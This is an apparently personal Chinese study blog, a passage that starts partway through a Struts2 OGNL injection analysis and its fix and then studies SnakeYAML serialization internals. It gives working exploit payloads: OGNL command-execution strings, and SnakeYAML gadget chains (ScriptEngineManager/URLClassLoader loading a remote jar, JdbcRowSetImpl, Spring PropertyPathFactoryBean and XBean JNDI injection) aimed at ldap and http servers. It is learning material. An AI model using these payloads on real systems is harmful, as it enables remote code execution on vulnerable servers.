然后使用findValue方法,将我们所输入的username查找出来并赋值给o,也就是我们输入的%{10*10},然后进行新的一次循环,将我们输入的东西再次当成OGNL表达式解析,就造成了此漏洞

漏洞利用

漏洞利用基于上述的OGNL表达式
1
2
3
%{(new java.lang.ProcessBuilder(new java.lang.String[]{"calc"})).start()}

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cmd","-c","clac"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

漏洞修复

通过漏洞分析可以看到,是由于 struts2 错误的使用了递归循环来进行OGNL表达式的解析,所导致的OGNL表达式的执行

官方修复如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator, int maxLoopCount) {
// deal with the "pure" expressions first!
//expression = expression.trim();
Object result = expression;
int loopCount = 1;
int pos = 0;
while (true) {

int start = expression.indexOf(open + "{", pos);
if (start == -1) {
pos = 0;
loopCount++;
start = expression.indexOf(open + "{");
}
if (loopCount > maxLoopCount) {
// translateVariables prevent infinite loop / expression recursive evaluation
break;
}
int length = expression.length();
int x = start + 2;
int end;
char c;
int count = 1;
while (start != -1 && x < length && count != 0) {
c = expression.charAt(x++);
if (c == '{') {
count++;
} else if (c == '}') {
count--;
}
}
end = x - 1;

if ((start != -1) && (end != -1) && (count == 0)) {
String var = expression.substring(start + 2, end);

Object o = stack.findValue(var, asType);
if (evaluator != null) {
o = evaluator.evaluate(o);
}

String left = expression.substring(0, start);
String right = expression.substring(end + 1);
String middle = null;
if (o != null) {
middle = o.toString();
if (!TextUtils.stringSet(left)) {
result = o;
} else {
result = left + middle;
}

if (TextUtils.stringSet(right)) {
result = result + right;
}

expression = left + middle + right;
} else {
// the variable doesn't exist, so don't display anything
result = left + right;
expression = left + right;
}
pos = (left != null && left.length() > 0 ? left.length() - 1: 0) +
(middle != null && middle.length() > 0 ? middle.length() - 1: 0) +
1;
pos = Math.max(pos, 1);
} else {
break;
}
}

return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
}

其中很明显多了一段代码,这里判断了循环的次数,从而在解析到%{1+1}的时候不会继续向下递归

1
2
3
4
if (loopCount > maxLoopCount) {
// translateVariables prevent infinite loop / expression recursive evaluation
break;
}

总结

这个OGNL表达式解析的地方分析的我好头疼TvT

SnakeYaml

今天该学习SnakeYaml这条链子了,大概看了一遍文章,相比于刚学的ROME,难度还是有的

前置基础

Yaml语法

根据了解,SnakeYaml是Java的yaml解析类库,支持Java对象的序列化与反序列化(看见和FastJson比较像哈),我们来了解一下简单的yaml语法

Yaml特点

  1. YAML对于大小写是敏感的
  2. 使用缩进代表层级关系
  3. 缩进只能用空格,不适用制表符(TAB),不要求空格个数,只要相同层级左对齐(一般两个空格或者四个)

YAML支持的三种数据结构

  • 对象

使用冒号,格式如下(冒号后面要加空格)

1
key: value

而缩进可以用来代表层级关系(隐隐约约记得在spring的配置文件中是这么搞得)

1
2
3
key: 
child-key: value
child-key2: value2
  • 数组

使用一个短横线和一个空格代表一个数组项

1
2
3
hobby:
- Java
- Python
  • 常量

Yaml中提供多种的常量结构:整数,浮点数,字符串,NULL,日期,布尔,时间

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
boolean: 
- TRUE #true,True都可以
- FALSE #false,False都可以
float:
- 3.14
- 6.8523015e+5 #可以使用科学计数法
int:
- 123
- 0b1010_0111_0100_1010_1110 #二进制表示
null:
nodeName: 'node'
parent: ~ #使用~表示null
string:
- 哈哈
- 'Hello world' #可以使用双引号或者单引号包裹特殊字符
- newline
newline2 #字符串可以拆成多行,每一行会被转化成一个空格
date:
- 2022-07-28 #日期必须使用ISO 8601格式,即yyyy-MM-dd
datetime:
- 2022-07-28T15:02:31+08:00 #时间使用ISO 8601格式,时间和日期之间使用T连接,最后使用+代表时区

SnakeYaml序列化与反序列化

SnakeYaml提供了两个函数对yaml格式数据进行序列化与反序列化
  • Yaml.load():提供参数为一个yaml字符串或者一个文件,可以将yaml格式数据进行反序列化后返回Java对象
  • Yaml.dump() :提供参数为一个Java对象,可以将一个Java对象序列化为yaml文件格式

环境配置

  • JDK8u65
  • snakeyaml1.27
1
2
3
4
5
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.27</version>
</dependency>

先写一个实体类Person.java,序列化和反序列化都用的是这个实体类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public class Person {

private String name;
private Integer age;

public Person() {
}

public Person(String name, Integer age) {
this.name = name;
this.age = age;
}

public void printInfo(){
System.out.println("name is " + this.name + "age is" + this.age);
}

public String getName() {
System.out.println("调用了getName");
return name;
}

public void setName(String name) {
System.out.println("调用了setName");
this.name = name;
}

public Integer getAge() {
System.out.println("调用了getAge");
return age;
}

public void setAge(Integer age) {
System.out.println("调用了getAge");
this.age = age;
}
}

序列化与反序列化

序列化

将一个java类序列化的代码如下
1
2
3
4
5
public static void serialize() throws Exception{
Person person = new Person("sean",18);
Yaml yaml = new Yaml();
System.out.println(yaml.dump(person));
}

序列化的结果如下,调用了两个属性的getter方法

反序列化

反序列化有两种方法,下面的代码中都有体现
  • load():

下面的!!类似于 Fastjson 中的 @type 用于指定反序列化的全类名,后面的就类似于Fastjson中的赋值

  • loadAs()

loadAs函数进行反序列化,其中反序列化对象的类需要指定,而赋值的参数和值,需要符合Yaml的语法格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static void unserialize() {
Yaml yaml = new Yaml();

String string1 = "!!com.Person {age: 18, name: sean}";
Person person1 = yaml.load(string1);

System.out.println(person1);

System.out.println("----------------------------------");

String string2 = "name: sean\n" +
"age: 18" ;
Person person2 = yaml.loadAs(string2, Person.class);
System.out.println(person2);
}

这里我们可以看到,两者的效果是一样的,且在进行反序列化的时候,都调用了两个属性的setter方法

奇怪的特性

我们需要去改写一下我们的Person类,使他内部不只有private作用域的属性

改写后如下,我们加入了作用域为public和protect的属性,并且都写了这两个属性的setter与getter方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
package com;

public class Person {

private String name;
private Integer age;
public String school;
protected String phone;


public Person() {
}

public Person(String name, Integer age) {
this.name = name;
this.age = age;
}

public String getSchool() {
System.out.println("调用了getSchool");
return school;
}

public void setSchool(String school) {
System.out.println("调用了setSchool");
this.school = school;
}

public String getPhone() {
System.out.println("调用了getPhone");
return phone;
}

public void setPhone(String phone) {
System.out.println("调用了setPhone");
this.phone = phone;
}

public void printInfo(){
System.out.println("name is " + this.name + "age is" + this.age);
}

public String getName() {
System.out.println("调用了getName");
return name;
}

public void setName(String name) {
System.out.println("调用了setName");
this.name = name;
}

public Integer getAge() {
System.out.println("调用了getAge");
return age;
}

public void setAge(Integer age) {
System.out.println("调用了setAge");
this.age = age;
}
}

我们去修改一下序列化和反序列化的代码(这里就不再演示loadAs函数的使用)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static void serialize() throws Exception{
Person person = new Person("sean",18,"tyut","13888888888");
Yaml yaml = new Yaml();
System.out.println(yaml.dump(person));
}

public static void unserialize() {
Yaml yaml = new Yaml();

String string1 = "!!com.Person {age: 18, name: sean, school: tyut, phone: 13888888888}";
Person person1 = yaml.load(string1);

System.out.println(person1);
}

运行后,我们可以看到,在序列化和反序列化的时候,都没有调用public作用域属性的setter与getter方法

序列化与反序列化断点调试

序列化

进入Yaml#dump中,首先new了一个ArrayList,将传入的data放入list中,在dumpAll方法内,传入了一个list.iterator()

1
2
3
4
5
public String dump(Object data) {
List<Object> list = new ArrayList<Object>(1);
list.add(data);
return dumpAll(list.iterator());
}

这里的list.iterator仅仅是返回了一个Itr(迭代器),用来管理list的遍历,然后执行dumpAll函数

1
2
3
public Iterator<E> iterator() {
return new Itr();
}

进入dumpAll函数中,该方法将一个Java对象转换成yaml格式的字符串(这里传参是个存在迭代器的类)

这里StringWriter是一个用于在内存中处理字符串的东西,这里的流程就是创建一个StringWriter,将Java转换成的yaml格式字符串写入内存中,最后buffer.toString将内存中的字符串转换成一个实际的字符串

1
2
3
4
5
public String dumpAll(Iterator<? extends Object> data) {
StringWriter buffer = new StringWriter();
dumpAll(data, buffer, null);
return buffer.toString();
}

继续跟进,这里new了一个Serializer类(yaml序列化器,将java对象转换为yaml格式数据流)

然后放入一个Emitter(据了解是一个yaml输出器,将data内容写入output中)

然后使用迭代器遍历data,获取类里面的key:value键值对

将键值对中的数据写入output中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
private void dumpAll(Iterator<? extends Object> data, Writer output, Tag rootTag) {
Serializer serializer = new Serializer(new Emitter(output, dumperOptions), resolver,
dumperOptions, rootTag);
try {
serializer.open();
while (data.hasNext()) {
Node node = representer.represent(data.next());
serializer.serialize(node);
}
serializer.close();
} catch (IOException e) {
throw new YAMLException(e);
}
}

我们继续跟进represent,主要流程肯定在该方法中的representData函数,我们继续跟入

representData中,首先data会经过一些判断,但是这些判断我们都不会进去

在该方法中没有对数据进行处理,都是一些判断,最终走到// check defaults部分的representData函数中,因此核心部分还得向里面走

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
//BaseRepresenter#represent
public Node represent(Object data) {
Node node = representData(data);
representedObjects.clear();
objectToRepresent = null;
return node;
}
//BaseRepresenter#representData
protected final Node representData(Object data) {
objectToRepresent = data;
// check for identity
if (representedObjects.containsKey(objectToRepresent)) {
Node node = representedObjects.get(objectToRepresent);
return node;
}
// }
// check for null first
if (data == null) {
Node node = nullRepresenter.representData(null);
return node;
}
// check the same class
Node node;
Class<?> clazz = data.getClass();
if (representers.containsKey(clazz)) {
Represent representer = representers.get(clazz);
node = representer.representData(data);
} else {
// check the parents
for (Class<?> repr : multiRepresenters.keySet()) {
if (repr != null && repr.isInstance(data)) {
Represent representer = multiRepresenters.get(repr);
node = representer.representData(data);
return node;
}
}

// check defaults
if (multiRepresenters.containsKey(null)) {
Represent representer = multiRepresenters.get(null);
node = representer.representData(data);
} else {
Represent representer = representers.get(null);
node = representer.representData(data);
}
}
return node;
}

进入RepresentJavaBean#representData,我们看传入representJavaBean的参数

  • 第一个是Set类对象(该对象中,存放着data该类中的各个变量信息)
  • 第二个就是我们的data(javaBean)
1
2
3
4
5
protected class RepresentJavaBean implements Represent {
public Node representData(Object data) {
return representJavaBean(getProperties(data.getClass()), data);
}
}

进入Representer#representJavaBean后,properties存放着所有的变量信息(但是在该变量中没有找到value值),而javaBean中只存放着作用域为private的属性

后面比较重要的地方,应该是在for循环中,它将Set中的每一个MethodeProperty遍历出来,使用property.get(javaBean)去获取javaBean中与MethodeProperty相对应的变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
protected MappingNode representJavaBean(Set<Property> properties, Object javaBean) {
List<NodeTuple> value = new ArrayList<NodeTuple>(properties.size());
Tag tag;
Tag customTag = classTags.get(javaBean.getClass());
tag = customTag != null ? customTag : new Tag(javaBean.getClass());
// flow style will be chosen by BaseRepresenter
MappingNode node = new MappingNode(tag, value, FlowStyle.AUTO);
representedObjects.put(javaBean, node);
DumperOptions.FlowStyle bestStyle = FlowStyle.FLOW;
for (Property property : properties) {
Object memberValue = property.get(javaBean);
Tag customPropertyTag = memberValue == null ? null
: classTags.get(memberValue.getClass());
NodeTuple tuple = representJavaBeanProperty(javaBean, property, memberValue,
customPropertyTag);
if (tuple == null) {
continue;
}
if (!((ScalarNode) tuple.getKeyNode()).isPlain()) {
bestStyle = FlowStyle.BLOCK;
}
Node nodeValue = tuple.getValueNode();
if (!(nodeValue instanceof ScalarNode && ((ScalarNode) nodeValue).isPlain())) {
bestStyle = FlowStyle.BLOCK;
}
value.add(tuple);
}
if (defaultFlowStyle != FlowStyle.AUTO) {
node.setFlowStyle(defaultFlowStyle);
} else {
node.setFlowStyle(bestStyle);
}
return node;
}

再进入到representJavaBeanProperty方法中,该方法将对象中的数据,拆解成了键值对,从返回的new NodeTuple(nodeKey, nodeValue);中我们也可以看出来这一点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
protected NodeTuple representJavaBeanProperty(Object javaBean, Property property,
Object propertyValue, Tag customTag) {
ScalarNode nodeKey = (ScalarNode) representData(property.getName());
// the first occurrence of the node must keep the tag
boolean hasAlias = this.representedObjects.containsKey(propertyValue);

Node nodeValue = representData(propertyValue);

if (propertyValue != null && !hasAlias) {
NodeId nodeId = nodeValue.getNodeId();
if (customTag == null) {
if (nodeId == NodeId.scalar) {
//generic Enum requires the full tag
if (property.getType() != java.lang.Enum.class) {
if (propertyValue instanceof Enum<?>) {
nodeValue.setTag(Tag.STR);
}
}
} else {
if (nodeId == NodeId.mapping) {
if (property.getType() == propertyValue.getClass()) {
if (!(propertyValue instanceof Map<?, ?>)) {
if (!nodeValue.getTag().equals(Tag.SET)) {
nodeValue.setTag(Tag.MAP);
}
}
}
}
checkGlobalTag(property, nodeValue, propertyValue);
}
}
}

return new NodeTuple(nodeKey, nodeValue);
}

大致的工作流程就是如上所示,最后我们的键值对会保存到 list 当中

我在这里并没有找到,为什么没有调用作用域为public变量的setter方法,感觉有点乱乱的

反序列化

走进load方法,这里将我们的yaml数据放入一个StreamReader中,并调用loadFromReader方法

1
2
3
public <T> T load(String yaml) {
return (T) loadFromReader(new StreamReader(yaml), Object.class);
}

前面两行代码,主要是从SreamReder流中读取YAML数据,并将其组合成YAML结构

最后constructor.getSingleData(type)才是将YAML数据转化为Java对象的操作

1
2
3
4
5
private Object loadFromReader(StreamReader sreader, Class<?> type) {
Composer composer = new Composer(new ParserImpl(sreader), resolver, loadingConfig);
constructor.setComposer(composer);
return constructor.getSingleData(type);
}

进入到getSingleData后,首先会创建一个Node对象(将字符串按照yaml语法转化为Node对象),然后判断type类型是否为Object,然后判断rootTag是否为空,这里我们都能跳过去,最后走到constructDocument(node)方法内

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public Object getSingleData(Class<?> type) {
// Ensure that the stream contains a single document and construct it
final Node node = composer.getSingleNode();
if (node != null && !Tag.NULL.equals(node.getTag())) {
if (Object.class != type) {
node.setTag(new Tag(type));
} else if (rootTag != null) {
node.setTag(rootTag);
}
return constructDocument(node);
} else {
Construct construct = yamlConstructors.get(Tag.NULL);
return construct.construct(node);
}
}

我们可以看到,在Node对象中,保存着我们的参数的各种属性(类型,参数名,value值)

constructDocument() 方法的最终目的是构建一个完整的 YAML 文件,如果文件是递归结构,再进行二次处理(这里的递归结构其实就是我后面会讲的[!!]这个)。我们这里跟进一下 constructObject() 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
protected final Object constructDocument(Node node) {
try {
Object data = constructObject(node);
fillRecursive();
return data;
} catch (RuntimeException e) {
if (wrappedToRootException && !(e instanceof YAMLException)) {
throw new YAMLException(e);
} else {
throw e;
}
} finally {
//clean up resources
constructedObjects.clear();
recursiveObjects.clear();
}
}

该方法中,通过containsKey方法来判断是否该节点已经被构造,若已构造,则会返回一个实例化过后的对象;反之,就会用指定的node节点构造对象,并返回对象

1
2
3
4
5
6
protected Object constructObject(Node node) {
if (constructedObjects.containsKey(node)) {
return constructedObjects.get(node);
}
return constructObjectNoCheck(node);
}

这里我们的节点并没有被构造过,所以会跳到constructObjectNoCheck方法中

我们可以看到,这里将node节点放进到了recursiveObjects中,然后往下进行了一次判断:constructedObjects是否构造了该节点,如果构造了就用get方法获取到他,若没有构造,就调用construct方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
protected Object constructObjectNoCheck(Node node) {
if (recursiveObjects.contains(node)) {
throw new ConstructorException(null, null, "found unconstructable recursive node",
node.getStartMark());
}
recursiveObjects.add(node);
Construct constructor = getConstructor(node);
Object data = (constructedObjects.containsKey(node)) ? constructedObjects.get(node)
: constructor.construct(node);

finalizeConstruction(node, data);
constructedObjects.put(node, data);
recursiveObjects.remove(node);
if (node.isTwoStepsConstruction()) {
constructor.construct2ndStep(node, data);
}
return data;
}

步入construct方法,步入ConstructYamlObjectconstruct当中,但是这里没有做什么操作

1
2
3
4
5
6
7
8
9
10
public Object construct(Node node) {
try {
return getConstructor(node).construct(node);
} catch (ConstructorException e) {
throw e;
} catch (Exception e) {
throw new ConstructorException(null, null, "Can't construct a java object for "
+ node.getTag() + "; exception=" + e.getMessage(), node.getStartMark(), e);
}
}

这里我们先看getConstructor方法中,getClassForNode方法为我们返回了一个Class类,后续setType方法为node设置了一个合适的类构造,后续走入getClassForNode方法

1
2
3
4
5
6
7
private Construct getConstructor(Node node) {
Class<?> cl = getClassForNode(node);
node.setType(cl);
// call the constructor as if the runtime class is defined
Construct constructor = yamlClassConstructors.get(node.getNodeId());
return constructor;
}

在该getClassForNode方法中,他主要是通过反射为我们的node节点选取了一个合适的构造类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
protected Class<?> getClassForNode(Node node) {
Class<? extends Object> classForTag = typeTags.get(node.getTag());
if (classForTag == null) {
String name = node.getTag().getClassName();
Class<?> cl;
try {
cl = getClassForName(name);
} catch (ClassNotFoundException e) {
throw new YAMLException("Class not found: " + name);
}
typeTags.put(node.getTag(), cl);
return cl;
} else {
return classForTag;
}
}

返回我们的构造类后,我们走入construct方法中,这里我们会跳到最后一个else中,将我们的类进行实例化,这里node.isTwoStepsConstruction()默认返回false,所以我们会进入到最后一个else中,将obj放入constructJavaBean2ndStep构造函数中并返回

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public Object construct(Node node) {
MappingNode mnode = (MappingNode) node;
if (Map.class.isAssignableFrom(node.getType())) {
if (node.isTwoStepsConstruction()) {
return newMap(mnode);
} else {
return constructMapping(mnode);
}
} else if (Collection.class.isAssignableFrom(node.getType())) {
if (node.isTwoStepsConstruction()) {
return newSet(mnode);
} else {
return constructSet(mnode);
}
} else {
Object obj = Constructor.this.newInstance(mnode);
if (node.isTwoStepsConstruction()) {
return obj;
} else {
return constructJavaBean2ndStep(mnode, obj);
}
}
}

我们可以看到,实例化已经完成

跟进constructJavaBean2ndStep函数中,该函数会从node中获取key和value的值,并赋值到我们的object参数中,最终返回一个完整的类

奇怪特性的解释

我们之前说过,如果添加public属性,是不会调用该类的setter或getter方法的

除public属性外的设置值或者获取值时,都是要反射获取他们的setter或者getter方法去完成相关的业务

而经过调试来看,public属性的参数在获取值或者设置值的时候,和其他属性的是有差别的,public属性值的设置与获取,只是简单的反射获取与修改

这里就不做过多分析,如果有想要跟进一下代码的师傅,可以从下面方法去跟进分析

1
2
3
4
5
//constructJavaBean2ndStep
if (memberDescription == null
|| !memberDescription.setProperty(object, key, value)) {
property.set(object, value);
}

SnakeYaml 反序列化漏洞之 SPI 链子

漏洞原理

我感觉这个漏洞也比较像fastjson的反序列化漏洞

有些区别的是,Fastjson中可以调用getter/setter的面很宽泛,而Snakeyaml只能调用非public,static以及transient作用域的setter方法

利用 SPI 机制 - 基于 ScriptEngineManager 利用链

EXP与攻击

EXP如下
1
2
3
4
5
6
7
8
9
public class SPInScriptEngineManager {  
public static void main(String[] args) {
String payload = "!!javax.script.ScriptEngineManager " +
"[!!java.net.URLClassLoader " +
"[[!!java.net.URL [\"rqwdlmnfqg.lfcx.eu.org\"]]]]\n";
Yaml yaml = new Yaml();
yaml.load(payload);
}
}

这里可以看到,也是成功接收到了URLDNS请求

该EXP只能进行简单的探测,攻击的话,可以使用Github上的一个项目

https://github.com/artsploit/yaml-payload/

我们将项目中的命令,改成自己想要的就好

然后使用如下两条命令,将该java文件打包成一个jar包,使用python开启一个http服务

1
2
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

使用如下payload,就可以用URLClassLoader去加载远程类

1
2
3
4
5
6
7
public static void main(String[] args) {
String payload = "!!javax.script.ScriptEngineManager " +
"[!!java.net.URLClassLoader " +
"[[!!java.net.URL [\"http://127.0.0.1:8888/yaml-payload.jar\"]]]]\n";
Yaml yaml = new Yaml();
yaml.load(payload);
}

SPL机制

SPL(Service Provider Loader,服务提供者加载)机制是Java中的一种**服务提供发现**机制,用于动态加载和使用服务实现。它主要依赖于` java.util.ServiceLoader`,能够在运行时查找、加载和实例化符合某个接口或抽象类的实现类

那么如果需要使用 SPI 机制则需要在Java classpath下的META-INF/services/目录里创建一个以服务接口命名的文件,这个文件里的内容就是这个接口的具体的实现类

SPI是一种动态替换发现的机制,比如有个接口,想运行时动态的给它添加实现,你只需要添加一个实现

这里使用JDBC的库 – mysql-connector-java 来举例子

1
2
3
4
5
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.30</version>
</dependency>

我们可以看到META-INF/services/路径下的文件名就是我们的服务接口名,内容就是接口的具体实现类

而数据库有很多种类型,而实现方式不尽相同,而在实现各种连接驱动的时候,只需要添加java.sql.Driver实现接口,然后 Java 的 SPI 机制可以为某个接口寻找服务实现,就实现了各种数据库的驱动连接

1
2
3
4
5
6
7
8
9
public class JDBCTest {

public static void main(String[] args) throws Exception {
Connection conn = DriverManager.getConnection(
"jdbc:mysql://localhost:3306/pikachu", "pikachu", "123456"
);
System.out.println("数据库连接成功:" + (conn != null));
}
}

工作原理如下:

  1. DriverManager.getConnection() 被调用时,ServiceLoader 通过 META-INF/services/java.sql.Driver 加载注册的驱动类。

  2. ServiceLoader 发现 com.mysql.cj.jdbc.Driver 并自动实例化。

  3. DriverManager 通过 Driver#connect() 方法建立数据库连接。

漏洞分析

访问到jar包时,会扫描META-INF/services下的文件,扫到javax.script.ScriptEngineFactory,会创造这个接口的具体实现类,这个具体实现类就是artsploit.AwesomeScriptEngineFactory,也就是我们构造的恶意类。

SnakeYaml 反序列化漏洞的 Gadgets

JdbcRowSetImpl

这条链子也很熟悉了,在JdbcRowSetImpl#connect方法中,存在一个JNDI注入的地方(lookup处)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}

getDataSourceName方法返回了dataSource,而我们存在一个dataSource的setter方法,在进行反序列化时,会调用setDataSourceName方法,因此在lookup方法中,this.getDataSourceName()处是可控的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public String getDataSourceName() {
return dataSource;
}

public void setDataSourceName(String name) throws SQLException {

if (name == null) {
dataSource = null;
} else if (name.equals("")) {
throw new SQLException("DataSource name cannot be empty string");
} else {
dataSource = name;
}

URL = null;
}

接下来我们就该怎么去触发connect方法

我们找到了setAutoCommit方法,他既可以调用connect,也是一个我们可以调用的setter方法,(参数都为private属性)

1
2
3
4
5
6
7
8
9
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}

}

EXP如下

1
String payload = "!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: \"ldap://127.0.0.1:8085/WRTOPmjx\", autoCommit: true}";

Spring PropertyPathFactoryBean

依赖导入
1
2
3
4
5
6
7
8
9
10
11
12
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-beans</artifactId>
<version>5.3.30</version> <!-- 或者其他 Spring 版本 -->
</dependency>

<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>5.3.30</version> <!-- 选择合适的版本 -->
</dependency>

PropertyPathFactoryBean#setBeanFactory方法中调用了this.beanFactory的getBean方法,而SimpleJndiBeanFactorygetBean方法中存在JNDI注入点

看到SimpleJndiBeanFactory#getBean方法,其中name可控,即可造成JNDI注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
@Override
public Object getBean(String name) throws BeansException {
return getBean(name, Object.class);
}

@Override
public <T> T getBean(String name, Class<T> requiredType) throws BeansException {
try {
if (isSingleton(name)) {
return doGetSingleton(name, requiredType);
}
else {
return lookup(name, requiredType);
}
}
catch (NameNotFoundException ex) {
throw new NoSuchBeanDefinitionException(name, "not found in JNDI environment");
}
catch (TypeMismatchNamingException ex) {
throw new BeanNotOfRequiredTypeException(name, ex.getRequiredType(), ex.getActualType());
}
catch (NamingException ex) {
throw new BeanDefinitionStoreException("JNDI environment", name, "JNDI lookup failed", ex);
}
}

SimpleJndiBeanFactory#getBean方法中,如果想造成jndi,我们就需要走入else代码块中

我们看到isSingleton方法内,要判断shareableResources中是否包含name(即为我们的ldap地址),因此我们需要为shareableResources赋值

1
2
3
public boolean isSingleton(String name) throws NoSuchBeanDefinitionException {
return this.shareableResources.contains(name);
}

在shareableResources的setter方法中可以看到,该setter方法是为该参数添加一个String类,我们只需要将我们的ldap地址传入即可

1
2
3
public void setShareableResources(String... shareableResources) {
Collections.addAll(this.shareableResources, shareableResources);
}

除此之外,在setBeanFactory方法内,存在一些对链子有一些干扰的参数,我们只需要简单赋值即可越过

EXP如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class YamlSpring {
public static void main(String[] args) {
String payload = "!!org.springframework.beans.factory.config.PropertyPathFactoryBean " +
"{" +
"targetBeanName: \"ldap://127.0.0.1:8085/WRTOPmjx\"," +
" propertyPath: sean," +
" beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory {" +
"shareableResources: [\"ldap://127.0.0.1:8085/WRTOPmjx\"]" +
"}" +
"}";
Yaml yaml = new Yaml();
yaml.load(payload);
}
}

Apache XBean

  • 该链无版本限制
1
2
3
4
5
<dependency>  
<groupId>org.apache.xbean</groupId>
<artifactId>xbean-naming</artifactId>
<version>4.20</version>
</dependency>

链尾在ContextUtil内部类ReadOnlyBindinggetObject方法中,其中有一个resolve方法

1
2
3
4
5
6
7
public Object getObject() {
try {
return resolve(value, getName(), null, context);
} catch (NamingException e) {
throw new RuntimeException(e);
}
}

NamingManager.getObjectInstance就是我们的JNDI漏洞点,我们只需要将我们的ldap地址,包装为一个Reference传入到该方法中,即可造成JNDI注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public static Object resolve(Object value, String stringName, Name parsedName, Context nameCtx) throws NamingException {
if (!(value instanceof Reference)) {
return value;
}

Reference reference = (Reference) value;

// for SimpleReference we can just call the getContext method
if (reference instanceof SimpleReference) {
try {
return ((SimpleReference) reference).getContent();
} catch (NamingException e) {
throw e;
} catch (Exception e) {
throw (NamingException) new NamingException("Could not look up : " + stringName == null? parsedName.toString(): stringName).initCause(e);
}
}

// for normal References we have to do it the slow way
try {
if (parsedName == null) {
parsedName = NAME_PARSER.parse(stringName);
}
return NamingManager.getObjectInstance(reference, parsedName, nameCtx, nameCtx.getEnvironment());
} catch (NamingException e) {
throw e;
} catch (Exception e) {
throw (NamingException) new NamingException("Could not look up : " + stringName == null? parsedName.toString(): stringName).initCause(e);
}
}

这样就构造好了Reference类

1
"!!javax.naming.Reference [\"Sean\",\"WRTOPmjx\",\"http://127.0.0.1:8085/\"]"

接下来构造ReadOnlyBinding类(这里的第三个参数,我找到的是InitialContext类)

1
String payload = "!!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding [\"Sean\",!!javax.naming.Reference [\"Sean\",\"WRTOPmjx\",\"http://127.0.0.1:8085/\"],!!javax.naming.InitialContext {}]"

我们将我们的类,反序列化后,调用其getObject方法,观察是否能执行

1
2
3
4
5
6
7
8
public class XBean {
public static void main(String[] args) {
String payload = "!!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding [\"Sean\",!!javax.naming.Reference [\"Sean\",\"WRTOPmjx\",\"http://127.0.0.1:8085/\"],!!javax.naming.InitialContext {}]";
Yaml yaml = new Yaml();
ContextUtil.ReadOnlyBinding load = (ContextUtil.ReadOnlyBinding)yaml.load(payload);
load.getObject();
}
}

在执行getObject时,爆出了错误,发现是我们的Context有问题,这里就直接换成别的师傅那里拿来的WritableContext类了

使用如下POC,调用getObject方法,即可造成JNDI注入

1
String payload = "!!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding [\"Sean\",!!javax.naming.Reference [\"Sean\",\"WRTOPmjx\",\"http://127.0.0.1:8085/\"],!!org.apache.xbean.naming.context.WritableContext {}]";

但是我们该怎么去触发这个getObject方法

其中我们找到BadAttributeValueExpException类,可以看到这里去调用了传入val的toString方法,而ReadOnlyBinding是没有toString方法的,那就看他的父类

1
2
3
